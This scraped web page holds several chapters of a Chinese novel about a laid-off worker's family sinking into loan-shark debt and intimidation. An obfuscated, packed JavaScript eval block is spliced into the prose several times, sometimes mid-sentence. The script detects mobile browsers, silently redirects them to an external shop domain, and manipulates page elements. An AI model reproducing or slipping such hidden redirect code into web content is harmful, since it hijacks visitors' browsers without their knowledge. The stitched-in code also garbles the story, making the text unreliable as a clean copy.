;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她伸出手,想摸摸女儿的脸,指尖却在触碰到那冰凉皮肤前停住了。她怕自己手上的寒气惊扰了女儿,更怕女儿醒来,看到自己这副病弱狼狈的样子。她只是静静地站在那里,像一尊正在风化的石像,看着女儿,看着这间冰冷、破败、充斥着霉味和药味的屋子。 炉火微弱到可以忽略不计的余光,偶尔跳跃一下,映在她深陷的眼窝和干裂的嘴唇上,那张曾经在机床前专注而红润的脸,如今只剩下被生活和疾病啃噬后的灰败与麻木。春寒料峭,这北国的春天,没有带来丝毫暖意,反而将所有的艰难、所有的无望,都凝固成了这彻骨的、仿佛永无止境的寒冷。她知道,她必须撑下去,用这具残破的躯体,为了女儿,在这泥泞的、看不到尽头的寒冬里,熬下去。可前路在哪里?她看不到一丝光亮。 24. 两条平行线 南方的夜,是被机器强行剥夺了寂静的。东莞这家五金厂的生产线上,荧光灯发出嗡嗡的、令人烦躁的冷光,照着一张张麻木疲惫的脸。空气中弥漫着金属切削液刺鼻的气味、汗液的酸臭味,以及某种廉价胶水令人作呕的甜腻。巨大的冲压机以固定的、不容置疑的节奏起落,发出“哐当哐当”的巨响,每一次都震得人脚底发麻,仿佛连心脏都要被这机械的暴力从胸腔里锤打出来。 张建设刚刚结束了连续十二个小时的站立作业。他的双腿像灌满了铅,肿胀酸痛,脚底板磨出的水泡破了又起,和破旧的解放鞋黏在一起,每走一步都钻心地疼。耳朵里依旧轰鸣着机器的余响,世界仿佛隔着一层毛玻璃。工棚里,汗臭、脚臭和蚊香的味道混合成一种更具攻击性的浑浊气息。同棚的工友,有的累得瘫在铺位上像一滩烂泥,有的则围在一起,用粗俗下流的语言谈论着厂里哪个女工的身材,或是炫耀着自己昨天在昏暗录像厅里看到的港片枪战情节,笑声粗嘎而空洞。 他无法融入,也无法入睡。小心翼翼地翻了个身,破旧的木板床发出不堪重负的“吱呀”声。他从贴身的、已经看不出原本颜色的汗衫口袋里,摸出那张被摩挲得边缘起毛、甚至有些模糊的照片。照片上,李桂兰穿着干净的工装,头发梳得整整齐齐,眼神里有光,带着那个年代特有的、朴素的朝气,旁边是扎着羊角辫、笑得没心没肺的小梅。那是很多年前,在厂里光荣榜前拍的。 “老张,又想老婆孩子了?”上铺的“泥鳅”探下头,嘴里叼着烟,戏谑地看着他,“省省吧!这鬼地方,能挣到钱寄回去就不错了!女人啊,在家独守空房这么久,谁知道……嘿嘿。”旁边几个工友发出心照不宣的、猥琐的低笑。 张建设像被蝎子蜇了一下,猛地将照片攥紧,手背上青筋凸起。他没有回头,也没有反驳。在这里,思念是一种奢侈,甚至是一种可以被肆意嘲弄的弱点。他沉默地承受着这无形的刀子,将照片重新塞回口袋,仿佛将那点仅存的温情紧紧捂在胸口,抵御着周遭无边的冰冷与恶意。 他蹑手蹑脚地爬下床,走到工棚外。南方的夜空,被工厂的排污和灯光染成一种暧昧的昏红色,看不到几颗星星。他倚靠在冰冷粗糙的墙壁上,点燃一支最便宜的、呛人的卷烟,烟雾辛辣地刺痛他的喉咙。他仰起头,目光试图穿透这污浊的、被工业化蹂躏的夜空,望向那理论上存在的北方。桂兰的咳嗽好点了吗?小梅有没有受冻挨饿?那笔高利贷……他不敢深想。巨大的无力感像潮水般将他淹没。他在这里像牲口一样劳作,透支着健康和尊严,却依旧填不满那个遥远的、名为“生活”的窟窿。 与此同时,在北春市那间冰冷彻骨的筒子楼里。 李桂兰同样无法入睡。女儿均匀的呼吸声就在布帘之后,但她胸腔里那只名为咳嗽的野兽,以及比咳嗽更磨人的、对未来的恐惧,让她清醒得像悬在冰窟里。窗外的北风呼啸着,偶尔传来野狗凄厉的吠叫,或是醉汉含糊不清的咒骂。隔壁那对夫妻似乎又在为钱争吵,女人尖利的哭喊和男人粗暴的砸东西声,清晰地穿透薄薄的墙壁,象是一场永无止境的、令人绝望的伴奏。 她悄悄起身,给女儿掖了掖被角,手指无意间触碰到枕头下那支冰凉的人参蜂王浆,心又是一阵刺痛。她走到窗边,掀起一角糊窗的旧报纸。外面,北国的夜空反而显得更高、更远,一轮清冷孤寂的弯月,洒下寒冰似的光辉,照亮了楼下堆积的、肮脏的雪堆和杂乱无章的破败院落。远处,曾经机声轰鸣的厂区,如今只剩下几个巨大厂房的黑色剪影,死气沉沉地矗立在月光下,像一片巨大的、冰冷的坟墓。 她也抬起头,望向南方。建设在那里过得好吗?听说南边也乱,工钱不好拿,他那样老实巴交的性格,会不会被人欺负?他知不知道家里已经快山穷水尽了?她不敢在信里写得太详细,怕他担心,更怕他在外面压力太大,做出什么傻事。所有的苦水,只能和着眼泪,在这个寂静的深夜里,独自咽下。思念像一根透明的、坚韧的丝线,勒进她的心脏,越收越紧,带来一种绵长而窒息的痛。 这一夜,张建设在南方工厂的轰鸣与污浊中,望着北方,手里紧攥着那张承载着过往温情的模糊照片。 这一夜,李桂兰在北国清冷的月光与刺骨的寒意中,望着南方,手心里紧握着女儿那份沉甸甸的、让她心碎的爱。 他们之间,横亘着数千里的山川河流,横亘着截然不同的苦难现场,横亘着时代洪流冲刷出的、深不见底的鸿沟。他们思念着彼此,渴望靠近,汲取一点温暖和力量。然而,命运的轨迹却像两条被无形之力固定的平行线,在各自绝望的轨道上,承受着无尽的孤独与沉重,无限延伸,却永不相交。南方的喧嚣照不亮北方的寒夜,北方的月光也暖不了南方的工棚,只有那份相似的、深入骨髓的无力感,在夜空中无声地共鸣。 三月的北春,依然嗅不到多少春天的气息。残雪顽固地盘踞在背阴的角落,与尘土、煤灰和不知名的垃圾冻在一起,形成肮脏坚硬的冰坨。风刮起来,卷起地上的塑料袋和废纸,打着旋,拍打在斑驳的墙上,发出哗啦啦的声响,象是为这破败景象奏响的凄凉配乐。 筒子楼的楼道,永远是昏暗、拥挤而气味复杂的。常年不见阳光,墙壁上满是油污、小孩的涂鸦和层层叠叠、早已泛黄的旧通知。各家门口堆放的杂物——破旧的自行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743059|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车、捡来的木柴、腌酸菜的大缸——侵占着本就不宽裕的公共空间,行走其间,需要侧身和小心。 李桂兰拖着沉重的步子从外面回来。她刚去了一趟社区卫生院,开了点最便宜的止咳药。医生的话还在耳边回响,带着职业性的冷漠和一丝不易察觉的怜悯:“李师傅,你这病光吃这个不行,得去大医院系统看看,拖久了更麻烦……”她何尝不知道?可钱呢?张建设上次寄回的那点钱,像撒进沙漠的水,瞬间就消失了,填了药费和小梅的学杂费,还剩下一堆窟窿。 刚走到自家门口,她的脚步就僵住了。 那张薄薄的、印着蓝色表格的“电费催缴通知单”,还有旁边那张黄色的“水费欠费停水通知”,像两块烧红的烙铁,赫然贴在门板那早已掉漆的木纹上。浆糊还没干透,在冰冷的空气中冒着一点微弱的热气,显得格外刺眼。单子上那些冰冷的数字——电费31元,水费2元,滞纳金1元——像一张张嘲讽的嘴,撕扯着她紧绷的神经。 她下意识地左右看了看。对门的门虚掩着一条缝,能感觉到后面有人影晃动,似乎正透过门缝窥视着她这边的动静。楼下传来王婶那极具穿透力的大嗓门,正在和谁高声议论着什么,隐约能听到“……欠债还钱,天经地义……这年头,谁家不难?装什么可怜……”仿佛每一句都意有所指,都精准地射向她的方向。 李桂兰的脸“唰”地一下红了,紧接着又变得惨白。一种火辣辣的羞耻感,从脚底板直冲头顶。在过去,在厂子里,她是技术能手,是劳模家属,走到哪里都受人尊重。可现在,这两张轻飘飘的纸,却像当众剥光了她的衣服,将她赤条条的贫困与狼狈暴露在光天化日之下,任人指点,任人鄙夷。 她几乎是扑上去,手指因为慌乱和寒冷而有些不听使唤,用力地、几乎是带着一种仇恨地,去撕扯那两张通知单。纸张很韧,浆糊粘得紧,她撕了几下才扯下来,边缘参差不齐,像她此刻破碎的心境。撕拉的声音在寂静的楼道里显得格外刺耳。 她把那两张揉得皱巴巴的纸紧紧攥在手心,仿佛要将它们捏碎。可那冰冷的触感和上面清晰的数字,却透过皮肤,直直地烙进了她的心里,重若千钧。她猛地推开家门,又迅速“砰”地一声关上,将外面那些有形无形的目光和议论隔绝开来。背靠着冰冷的门板,她大口喘着气,胸口剧烈起伏,引发了一阵压抑的咳嗽。手里那两张纸,不再是催缴单,而是生活掷向她、掷向这个摇摇欲坠的家庭的,又一封冰冷的战书。而她知道,自己几乎已经弹尽粮绝,无以为继。门外隐约传来的议论声和脚步声,像钝刀子割肉,提醒着她,这仅仅是个开始,更大的难堪和风雨,还在后头。 25. 姐妹的“好意” 催缴单像两片挥之不去的阴影,贴在李桂兰的心上。她尝试着去找居委会,那个曾经充满革命标语、现在墙上只挂着几面褪色锦旗的办公室。接待她的妇女主任,一边打着毛线,一边用程序化的语气重复着“困难是暂时的”、“要理解国家的难处”,最后从抽屉里拿出一张表格,让她填“特困家庭补助申请”,那表格复杂得让她眼花,而且“批下来也不知道啥时候,还得公示”。 她又硬着头皮去了趟厂里的“留守办”。昔日热闹的办公楼如今冷清得像座鬼楼,只有几个无所事事的管理员在喝茶看报。听她说明来意,一个翘着二郎腿的中年男人嗤笑一声:“李师傅,厂里现在连留守人员的工资都发不出来,哪还有钱管这些?电业局、自来水公司又不是咱厂开的,我们说话不好使啊!”那语气里的幸灾乐祸几乎不加掩饰。 正当她山穷水尽,对着空荡荡的米缸和角落里那几个空药瓶发呆时,妹妹李桂香来了。 李桂香比她小五岁,打扮得与这灰败的筒子楼格格不入。烫着时兴的小卷发,穿着一件看起来质量不错的仿呢子大衣,虽然颜色有些艳俗,但在这片灰暗中已算扎眼。她手里拎着一小兜看起来不太新鲜的苹果,一进门,那略显刺鼻的雪花膏香味就冲淡了屋里的药味。 “姐,你这脸色咋这么差?”李桂香把苹果放在桌上,目光像探照灯一样在屋里扫了一圈,从掉漆的家具看到李桂兰身上那件袖口磨出毛边的旧毛衣,眼神里飞快地掠过一丝不易察觉的优越感和嫌弃。她自顾自地坐在那张吱呀作响的旧藤椅上,叹了口气:“唉,我也听说了,姐夫那边……唉,这男人靠不住,苦的就是咱女人。” 李桂兰没接话,只是默默给她倒了杯白开水。杯子边缘有个小小的缺口。 李桂香端起杯子,没喝,又放下,身体往前凑了凑,压低声音,做出推心置腹的样子:“姐,我知道你难。小梅要上学,你这病也得治,哪哪不要钱?光靠死熬哪行?”她顿了顿,观察着李桂兰的表情,见她沉默,便继续道:“我认识一个人,搞‘民间互助基金会’的,可不是旧社会那些吃人不吐骨头的高利贷啊!人家是正规帮忙,利息低,放款快,手续也简单。就是帮咱们这些临时有困难的人过渡一下。” “基金会?”李桂兰抬起头,浑浊的眼睛里闪过一丝本能的警惕。她听说过这东西,街坊间传得很邪乎,好像跟旧社会的印子钱差不多。 “哎呀,跟你想的不一样!”李桂香仿佛看穿了她的心思,拍了一下大腿,“现在国家都允许民间资本流动了!人家这是互助!比银行快多了,银行那门槛,咱够得着吗?你看对门老王家,上次他儿子结婚急用钱,就是从那儿借的,没几天就批下来了,现在不也好好的?” 她看着姐姐将信将疑、却又被现实逼到墙角的神色,语气更加“恳切”:“姐,我是你亲妹子,还能坑你?就是看你现在太难了!先借点应应急,等姐夫寄钱回来,或者厂里有点啥说法,不就还上了吗?也就是一两个月的事儿。总比被停水停电,让孩子跟着遭罪强吧?小梅眼看就要考学了……” 她的话语像涂了蜜的钩子,精准地勾住了李桂兰内心最脆弱、最焦虑的地方——女儿,以及眼前这过不去的坎。那句“亲妹子”更是带着血缘的绑架,削弱了李桂兰最后的防线。 李桂兰看着妹妹那张因为涂抹了廉价化妆品而显得有些不真实的脸,看着她眼神里那份过于热切的“好意”,心里乱成一团麻。她知道这可能是个火坑,但身后就是悬崖,她还有得选吗?妹妹话语里的那丝闪烁,被她自动归结为是对“新生事物”的不确定,而非欺骗。在绝境中,人总是愿意相信那根看似唯一的稻草。 她张了张嘴,干裂的嘴唇翕动了几下,最终,极轻极轻地问了一句,声音沙哑得几乎听不见: “那……利息,真像你说的……那么低?” 几天后,李桂香带着李桂兰,七拐八绕地走进一条背街小巷。巷子深处,一个连招牌都没有的旧门面房,门上只贴着一张褪色的红纸,模糊写着“便民服务”几个字。推开门,一股浓烈呛人的烟味混合着隔夜茶水发酵的酸馊气扑面而来,让李桂兰一阵反胃。 屋里光线昏暗,只有一个裸露的灯泡悬在头顶,投下昏黄的光晕。墙壁斑驳,糊着过时的挂历和几张看不清内容的纸张。一个褪了漆的旧办公桌后面,坐着一个四十多岁的秃顶男人,脖子上的金链子粗得晃眼,正叼着烟,和旁边一个穿着皮夹克、膀大腰圆的年轻男人低声说着什么,发出粗嘎的笑声。见有人进来,秃顶男人抬起眼皮,那双眼睛里没有丝毫温度,只有一种审视货物般的精明和冷漠。 “龙哥,这就是我姐,李桂兰。”李桂香脸上堆起讨好的笑容,语气带着明显的谄媚,“姐,这就是龙哥,基金会的经理。” 龙哥没起身,只是用夹着烟的手指随意点了点桌前的木头凳子。李桂兰局促地坐下,双手紧紧攥着膝盖上的旧布包,指节发白。她能感觉到旁边那个皮夹克男人毫不掩饰的打量目光,像针一样扎在她身上。 “想借多少?”龙哥开门见山,声音沙哑,带着一股不容置疑的权威。 “三……三千。”李桂兰的声音小得像蚊子哼哼。 龙哥从抽屉里拿出一式两份的打印合同,纸张很薄,上面的字密密麻麻。“看看,没问题就按手印。”他把合同推到李桂兰面前,又拿起桌上的计算器,噼里啪啦地按了几下,“月息十分,利随本清。借三千,一个月后还三千三。没问题吧?” “月息十分?”李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙哥麻利地收起其中一份合同,从抽屉里数出三十张百元钞票,扔在桌上。“数数。规矩都写在合同里了,按时还钱,啥事没有。要是逾期……”他没说完,只是拿起桌上的一把弹簧刀,“啪”地一声弹出雪亮的刀锋,又轻轻合上。那金属撞击声,让李桂兰和李桂香都浑身一颤。 李桂兰用颤抖的手拿起那叠钞票,感觉它们像烧红的炭一样烫手。她没有数,胡乱塞进布包里,拉着妹妹,几乎是逃离了这个令人窒息的地方。 身后的门关上,隔绝了那浓重的烟味和冰冷的视线。巷子外的天光有些刺眼,李桂兰却感觉眼前一阵发黑,那个鲜红的指印,在她脑海里不断放大,旋转,仿佛要将她吞噬。她得到了三千块钱,暂时缓解了燃眉之急,却感觉自己把什么东西,也许是灵魂,也许是未来,永远地抵押给了那个昏暗的房间,和那个眼神冰冷的男人。 26. 第一笔“利息” 那三千块钱,像投入枯井的一颗石子,短暂地响了一声,便迅速被无边的黑暗吞没。电费水费、拖欠的药费、小梅下学期的书本费……钱在手里还没捂热,就流水般花了出去。李桂兰精打细算,恨不得一分钱掰成两半花,可家里的光景依旧像个漏底的桶,怎么填也填不满。 半个月时间,在提心吊胆中过得飞快。李桂兰几乎每天都在计算着日子,那个“月息十分”像悬在头顶的达摩克利斯之剑,让她寝食难安。她幻想着张建设能突然寄回一笔钱,或者厂里能有奇迹发生,但信箱里除了新的催缴单,空空如也。 半个月后的傍晚,天刚擦黑,楼道里响起一阵沉重而杂沓的脚步声,最终在她家门口停下。紧接着,是毫不客气的、如同擂鼓般的敲门声,伴随着一个粗嘎的嗓音:“李桂兰!开门!” 李桂兰正在灶台前熬粥,闻声手一抖,勺子差点掉进锅里。她的心瞬间提到了嗓子眼,一股冰冷的寒意从脚底直窜头顶。该来的,还是来了。 她颤抖着手打开门。门外,龙哥依旧戴着那根晃眼的金链子,嘴里叼着烟,而他身后,除了上次那个穿皮夹克的壮汉,还多了一个留着寸头、眼神凶狠的年轻人。三个人像一堵墙,堵在门口,阴影将李桂兰完全笼罩。对门的门缝“啪”地一声关严了,楼道里其他细微的响动也瞬间消失,只剩下一种令人窒息的死寂,仿佛整栋楼都在屏息观望着这场灾难。 “龙……龙哥……”李桂兰的声音发颤,几乎说不出完整的句子。 龙哥没进屋,就用皮鞋尖抵着门框,吐出一口烟圈,眯着眼睛:“半个月了,利息该结一下了吧。” “利息?不是……不是说好一个月……”李桂兰懵了,苍白的脸上写满了惊恐和不解。 “合同你看清楚了吗?”龙哥冷笑一声,从皮夹克里掏出那张按了红手印的合同,用手指戳着其中一行蚂蚁大小、几乎看不清的附加条款,“写着呢,‘半月一结息,利滚利’。借三千,半月利息三百。拿来吧。”他伸出手,掌心朝上,皮肤粗糙,指节粗大。 三百!半个月就要三百!李桂兰如遭雷击,浑身血液都凉了。她总共才借了三千,这才半个月,就要拿走十分之一?这和她当初理解的完全不一样! “龙哥,这……这不对啊!当时我妹妹说……”她试图争辩,声音里带着哭腔。 “你妹妹说?合同是你按的手印!白纸黑字在这儿!”龙哥猛地提高音量,唾沫星子几乎喷到李桂兰脸上,他脸上的横肉抖动着,显得狰狞可怖,“怎么,想赖账?”他身后的皮夹克男和寸头青年适时地往前逼近一步,带来强烈的压迫感。 李桂兰吓得后退一步,脊背撞在冰冷的墙壁上,绝望像潮水般涌来。她终于明白了,妹妹那份“好意”背后隐藏的是什么,也明白了合同上那些她看不懂的条款意味着什么。这不是互助,这是吞噬!她感觉自己像一只落入蛛网的飞虫,越是挣扎,缠得越紧。 “我……我现在没有那么多钱……”她几乎是哀求着,眼泪在眼眶里打转,“龙哥,宽限几天,等我……” “没钱?”龙哥打断她,眼神像刀子一样在她脸上和屋里扫视,“那就拿东西抵!你家还有啥?这破房子虽然是公家的,但里面的东西总该有点吧?电视机呢?缝纫机呢?”他目光最终落在李桂兰手腕上那只黯淡的、表蒙子有些模糊的旧上海牌手表上,那是当年她和张建设结婚时买的。 李桂兰下意识地捂住手腕,仿佛那手表是她最后一点体面的象征。 龙哥嗤笑一声,对寸头青年使了个眼色。青年会意,猛地一把推开李桂兰,径直闯进屋里,开始翻箱倒柜。锅碗瓢盆被粗暴地拨弄发出刺耳的声响,抽屉被拉出来扔在地上,里面的杂物散落一地。 “你们干什么!不能这样!”李桂兰冲上去想阻拦,却被皮夹克男一把推开,踉跄着差点摔倒。 “妈!”布帘后面,被惊醒的张小梅吓得哭喊起来。 女儿的哭声像一把锥子,狠狠扎进李桂兰的心脏。她看着被翻得一片狼藉的家,看着女儿惊恐的小脸,看着门外邻居们可能正在偷听的寂静,所有的挣扎、屈辱和恐惧在这一刻达到了顶点。 “别动我女儿!我给……我给钱!”她嘶哑地喊道,冲进里屋,从枕头底下,从米缸最深处,翻出藏着的、原本打算用来买药和维持下个月生计的所有的毛票和整钱,连硬币都算上,哆哆嗦嗦地数出三百块,递到龙哥面前。那叠钱,沾着她的冷汗和绝望。 龙哥一把抓过钱,蘸着唾沫数了数,脸上露出满意的神色,随手塞进裤兜。“早这样不就行了?”他拍了拍李桂兰的脸,动作轻佻而侮辱,“记住规矩,下次准时点,别再让兄弟们跑一趟,车马费也是要算的。” 说完,他带着两个手下,扬长而去。沉重的脚步声在楼道里渐行渐远。 李桂兰瘫软在地,靠在冰冷的门框上,望着被翻得乱七八糟、如同遭了劫的家,听着女儿压抑的抽泣声,整个人像被抽空了灵魂。半个月,三百块。她感觉自己不是借了钱,而是亲手打开了一个潘多拉魔盒,放出了再也无法收回的灾难。而这,仅仅只是第一笔利息。后面那巨大的本金和不断翻滚的利息,像一座正在向她倾倒的大山,让她看不到一丝生路。空气里,似乎还残留着龙哥身上的烟味和那股冰冷的暴力气息,久久不散。 讨债的人走了,留下一个被恐惧和屈辱洗劫过的家,以及死一般的寂静。张小梅还在布帘后小声啜泣,李桂兰瘫坐在冰冷的水泥地上,久久无法动弹。空气中仿佛还凝固着龙哥那伙人留下的烟味、汗臭和暴力威胁的气息,每一次呼吸都带着刺痛。 过了不知多久,直到女儿的哭声渐渐微弱,变成压抑的抽噎,李桂兰才仿佛从一场噩梦中惊醒。她挣扎着爬起来,双腿软得像面条。她没有先去安慰女儿,而是像着了魔一样,开始机械地收拾被翻得一团糟的屋子。 扶起倒在地上的椅子,把散落一地的杂物——顶针、几根零头线、半管早已干涸的雪花膏——一样样捡起来,放回抽屉。她的动作缓慢、僵硬,眼神空洞,仿佛灵魂已经出窍,只剩下一个躯壳在执行着本能。每触碰一件被暴力翻动过的物品,都象是在触摸自己刚刚被公开凌迟的尊严。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743061|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后,她的目光落在那个被扔在墙角、印着“北春市第一机械厂”的旧帆布工具包上。那是张建设留下的。她走过去,捡起来,紧紧抱在怀里,仿佛能从这冰冷的、带着丈夫气息的物件上汲取一丝微弱的力量。然而,包里空空如也,只有同样冰冷的绝望。 她走到那个黑黢黢的米缸前。缸里的米已经见底,薄薄地铺在缸底,能清晰地看到缸壁粗糙的纹路。她伸出手,颤抖着插进冰凉的米粒中,摸索着,直到指尖触碰到一个硬硬的、用塑料袋紧紧包裹着的东西。 她把它掏出来,仿佛那是什么剧毒之物。小心翼翼地剥开层层塑料袋,那份按着她鲜红手印的借款合同,以及后来龙哥“好心”给她写下的、列明了已还三百利息和剩余本息总额的欠条,暴露在昏暗的灯光下。 那几张纸,此刻重逾千斤。上面那些密密麻麻的条款、冰冷的数字、尤其是那个刺眼的“月息十分,利滚利,半月一结”,像一条条毒蛇,缠绕着她的脖颈,让她窒息。那个红色的手印,更是灼烧着她的眼睛,提醒着她当时的愚蠢、轻信和走投无路。 藏起来!必须藏起来!这个念头疯狂地占据了她的大脑。她不能让女儿看见,不能给女儿本就沉重的心里再添上一座大山。她也不能让任何可能上门的邻居、亲戚看见,那将是她无法承受的、最后的羞耻。仿佛只要把这欠条藏得足够深,足够隐秘,那笔噬骨的债务,那些凶神恶煞的讨债人,就能暂时从她的世界里消失,哪怕只是自欺欺人的一瞬间。 她像一只惊慌失措的母兽,在狭小的屋子里逡巡,寻找着最安全的角落。枕头下?不行,女儿会整理床铺。柜子顶?灰尘太多,容易被发现。墙缝?不保险…… 最终,她的目光再次落回那个米缸。米快吃完了,短期内不会频繁动它。而且,谁会想到有人把如此重要的东西藏在粮食里? 她象是完成一个神圣而又肮脏的仪式,再次将那个塑料袋包裹严实,甚至又找了一个更厚实的、原本装洗衣粉的塑料袋套在外面,确保不会受潮。然后,她蹲下身,用手在米缸最底部,刨开一个深深的坑,将那个包裹小心翼翼地放进去,再仔细地用米粒覆盖、掩埋、抹平。做完这一切,她已经气喘吁吁,额头上布满了冷汗,仿佛刚进行完一场激烈的搏斗。 她盖好米缸盖子,用力按了按,好像这样就能把那个秘密,连同那份巨大的恐惧和压力,一起永远封存在黑暗里。 然而,自欺欺人终究是短暂的。当她直起腰,环顾这个虽然被简单收拾过、却依旧难掩破败和混乱的家,一种更深沉的无力感攫住了她。欠条可以藏起来,但债务不会消失。龙哥那冰冷的眼神、粗鲁的砸门声、女儿惊恐的哭声,都像烙印一样刻在了她的记忆里,无法磨灭。 她知道,这只是暂时的喘息。半个月后,下一个月,还有更多的“利息”会像嗜血的蚂蟥一样扑上来,直到将她,将这个家,彻底吸干、榨尽。那藏在米缸深处的,不是几张纸,而是一颗正在倒计时的、注定要将她炸得粉身碎骨的炸弹。夜晚的寂静里,她似乎能听到那炸弹秒针走动的“滴答”声,清晰,冰冷,催命。 27. 泥潭 时间在李桂兰这里,不再是以日出日落来衡量,而是以每半个月一次、精准如同酷刑般的讨债为节点。每一次龙哥带着人上门,那沉重的敲门声都像丧钟一样敲响在她心头。最初的三千元债务,非但没有减少,反而在“利滚利,半月一结”的残酷规则下,像沾满了污雪的石块,从山坡上滚落,越滚越大,越滚越快,带着毁灭一切的气势。 三个月过去了。李桂兰感觉自己就像被困在了一个无形的泥潭里,每一次挣扎,只会让身体陷得更深,那冰冷粘稠的污泥已经没过了她的腰际,正缓缓吞噬着她的胸口,让她呼吸艰难。 张建设确实寄过两次钱回来。一次五百,一次三百。那带着南方潮湿气息的汇款单,曾经是她短暂的光明。可这八百块钱,在龙哥那张不断更新的欠条面前,简直是杯水车薪。她战战兢兢地将钱交出去,看着龙哥用计算器重新核算,听着那冰冷的电子音报出一个更大的数字,心也跟着沉入更深的冰窖。 “本金三千,加上这三个月的利息……嗯,再算上滞纳金……”龙哥叼着烟,眯着眼,手指在计算器上飞舞,最后“啪”地一声按下等号,屏幕上跳出一个让李桂兰眼前发黑的数字:“九千八。” “九……九千八?”李桂兰的声音象是被掐住了脖子,她几乎站立不稳,“怎么会……怎么会这么多?我明明还了……” “还了?你还的那点,连零头都不够!”龙哥不耐烦地打断她,把欠条拍在桌上,“看清楚!白纸黑字!利滚利懂不懂?你每次还不上全额利息,剩下的利息就自动滚进本金里再生利息!这叫规矩!” 规矩。这两个字像淬了毒的针,扎得李桂兰体无完肤。她不懂这些金融的伎俩,她只知道,她掉进了一个精心设计的陷阱,而且越陷越深。最初只是需要三千块渡过难关,现在却背上了近万元的巨债!这是一个她做噩梦都不敢想象的数字。 龙哥带来的帮手一次比一次多,言语间的威胁也越来越露骨,不再局限于最初的恐吓。他们会用身体堵死门口,让她无处可逃;会故意用污言秽语大声议论,让左邻右舍都听得清清楚楚;那个皮夹克男有一次甚至故意撩开衣角,露出别在腰间的冰冷刀柄,那金属的寒光瞬间冻结了李桂兰的血液。 她知道,这些人什么都做得出来。他们不再是讨债的,而是索命的无常。每一次他们离开,李桂兰都像被抽空了所有力气,瘫软在地,久久无法动弹。家里稍微值钱点的东西——那台十二寸的黑白电视机,那架她当年陪嫁的缝纫机——早就被强行折价抵了债。如今这个家,真可谓是家徒四壁,只剩下无法搬走的破桌烂椅,和弥漫不散的绝望气息。 窗外,北国的春天似乎终于挣扎着到来,树枝冒出了些许嫩芽,阳光也偶尔变得温暖。可这一切都与李桂兰无关。她的世界,只剩下那个不断变大的债务雪球,以及雪球后面,龙哥那伙人越来越清晰、越来越狰狞的面孔。泥潭已经没到了她的脖颈,她张着嘴,却发不出任何求救的声音,只能眼睁睁看着那污浊的泥水,即将淹没她的头顶。 那是一个灰蒙蒙的清晨,湿冷的雾气缠绕着筒子楼,连呼出的白气都显得有气无力。李桂兰一夜未眠,天刚蒙蒙亮就挣扎着起来,想趁着邻居们还没出门,去公共水龙头那儿接点水。她刚拉开吱呀作响的房门,一股刺鼻的、类似油漆和某种化学溶剂混合的怪味就猛地钻入鼻腔。 她的目光下意识地扫过自家门板,随即,整个人像被瞬间冻僵,血液都凝固了——门上,墙上,那片原本就斑驳脱落的墙皮区域,被人用粗糙的刷子,泼洒般涂上了大片大片刺目惊心的猩红色油漆!那红色粘稠、不均匀,像尚未凝固的血液,顺着墙壁蜿蜒流淌下几道狰狞的痕迹。在这些混乱的红色块中间,用同样猩红的油漆,写着几个歪歪扭扭、却充满恶意的大字: “欠债还钱!!!”三个巨大的、血淋淋的感叹号,像三把淬毒的匕首,狠狠扎进李桂兰的眼里,扎进她的心里。 她的大脑“嗡”的一声,一片空白。世界仿佛瞬间失声,只剩下她自己擂鼓般的心跳和血液冲上头顶的轰鸣。羞耻、恐惧、愤怒、绝望……种种情绪像火山一样在她胸腔里喷发,却又被死死堵在喉咙口,让她发不出一点声音,只能死死捂住自己的嘴,防止那失控的尖叫冲破而出。 这不仅仅是催债,这是公开的处刑,是赤裸裸的羞辱!是将她最后一点遮羞布彻底撕碎,将她全家人的尊严踩进泥泞里,还要挂上耻辱柱,任人围观,任人指点! 果然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743062|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早起上班、买菜的邻居们陆续出现了。他们走到这里,脚步都不由自主地放缓、停下。惊愕、好奇、怜悯,更多的是毫不掩饰的鄙夷和幸灾乐祸,种种目光像探照灯一样聚焦在那片猩红和李桂兰惨白的脸上。 